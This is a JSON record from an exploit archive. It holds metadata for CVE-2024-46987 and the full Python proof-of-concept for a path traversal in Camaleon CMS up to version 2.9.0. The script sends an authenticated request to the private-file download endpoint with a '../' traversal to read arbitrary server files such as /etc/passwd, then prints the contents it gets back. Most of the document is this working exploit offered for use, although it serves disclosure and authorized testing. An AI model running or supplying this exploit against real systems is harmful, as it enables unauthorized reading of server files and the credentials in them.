{"exploit":{"id":"EDB-52531","name":"Camaleon CMS 2.9.0 - Path Traversal","description":"Camaleon CMS 2.9.0 - Path Traversal","cves":["CVE-2024-46987"],"author":"velampudisakshi","published":"2026-04-30","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52531","path":"exploits/multiple/webapps/52531.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52531.py","vulnerabilities":[{"id":"CVE-2024-46987","state":"PUBLISHED","title":"Arbitrary path traversal in Camaleon CMS","titleSource":"CVE Program","description":"Camaleon CMS is a dynamic and advanced content management system based on Ruby on Rails. A path traversal vulnerability accessible via MediaController's download_private_file method allows authenticated users to download any file on the web server Camaleon CMS is running on (depending on the file permissions). This issue may lead to Information Disclosure. This issue has been addressed in release version 2.8.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2024-46987","cvss":{"version":"3.1","baseScore":7.7,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2024-46987"},"updatedAt":"2025-04-17T18:07:30.718Z","retrievedAt":"2026-11-25T16:15:50.548Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52531.png?v=2","url":"https://exploitbin.com/exploits/EDB-52531","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52531/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52531/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Camaleon CMS v2.9.0 - Path Traversal\n# Date: 2026-02-02\n# Exploit Author: Sakshi Velampudi (CyberQuestor)\n# Vendor Homepage: https://github.com/owen2345/camaleon-cms\n# Software Link: https://github.com/owen2345/camaleon-cms/releases/tag/2.9.0\n# Version: <= 2.9.0\n# Tested on: Linux\n# CVE: CVE-2024-46987\n# Authentication: Required (auth_token cookie)\n\n# --------------------------------------------------\n# Description\n# Sends a single HTTP GET request to a vulnerable private file download endpoint\n# Uses an auth_token cookie required for admin access\n# Detects invalid authentication via redirect to /admin/login\n# Displays a preview of the response when file retrieval succeeds\n\n# Usage:\n# Run only against systems explicitly authorized for testing\n# --------------------------------------------------\n\n\n\n\"\"\"\nCamaleon CMS v2.9.0 - Path Traversal Proof of Concept\n\n\"\"\"\n\nimport requests\n\nprint(\"\\nCamaleon CMS v2.9.0 - Path Traversal PoC (authorized testing only)\\n\")\n\n# --------------------------------------------------\n# 1) Input Collection\n# --------------------------------------------------\ntarget_url = input(\"Target base URL (example: http://target.com): \").strip()\nrequested_path = input(\"File path to request (example: /etc/passwd): \").strip()\ntoken = input(\"auth_token value: \").strip()\n\nif not target_url or not requested_path or not token:\n    print(\"\\n[!] Error: URL, file path, and auth_token are required.\\n\")\n    raise SystemExit(1)\n\n# Normalize base URL to avoid malformed paths\ntarget_url = target_url.rstrip(\"/\")\n\n# --------------------------------------------------\n# 2) Request Construction\n# --------------------------------------------------\nurl = (\n    f\"{target_url}\"\n    f\"/admin/media/download_private_file\"\n    f\"?file=../../../../../../{requested_path.lstrip('/')}\"\n)\n\ncookies = {\"auth_token\": token}\n\n# --------------------------------------------------\n# 3) Request Execution\n# --------------------------------------------------\n# Redirects are disabled to capture authentication failures.\ntry:\n    response = requests.get(url, cookies=cookies, timeout=10, allow_redirects=False)\nexcept requests.exceptions.RequestException as e:\n    print(f\"\\n[!] Request error: {e}\\n\")\n    raise SystemExit(2)\n\n# --------------------------------------------------\n# 4) Response Handling\n# --------------------------------------------------\nprint(f\"\\n[+] HTTP Status: {response.status_code}\")\n\n# Invalid authentication typically results in a redirect to the admin login page\nif response.status_code == 302:\n    location = response.headers.get(\"Location\", \"\")\n    if \"/admin/login\" in location:\n        print(f\"[!] auth_token may be incorrect or expired (redirected to {location}).\")\n    else:\n        print(f\"[!] Redirected to: {location or '(no Location header)'}\")\n    raise SystemExit(1)\n\n# Successful response\nif response.status_code == 200:\n    print(\"\\n[+] Response preview:\\n\")\n\n    preview = response.text[:3000]\n    print(preview)\n\n    if len(response.text) > 3000:\n        print(\"\\n...output truncated...\")\n    raise SystemExit(0)\n\n# Other failure conditions\nprint(\"\\n[!] Request failed.\")\nif response.status_code == 500:\n    print(\"[!] The file path may be invalid, or the server encountered an internal error.\")\n\nprint(f\"[i] Response length: {len(response.content)} bytes\")\nraise SystemExit(1)","sha256":"ecbace8830a249de0c37114a69e881f6ad2c01c480a615f813a0737a1683edb3","bytes":3340,"fetchedAt":"2026-11-26T11:17:32.194Z","encoding":"utf-8 (display only; download retains original bytes)"}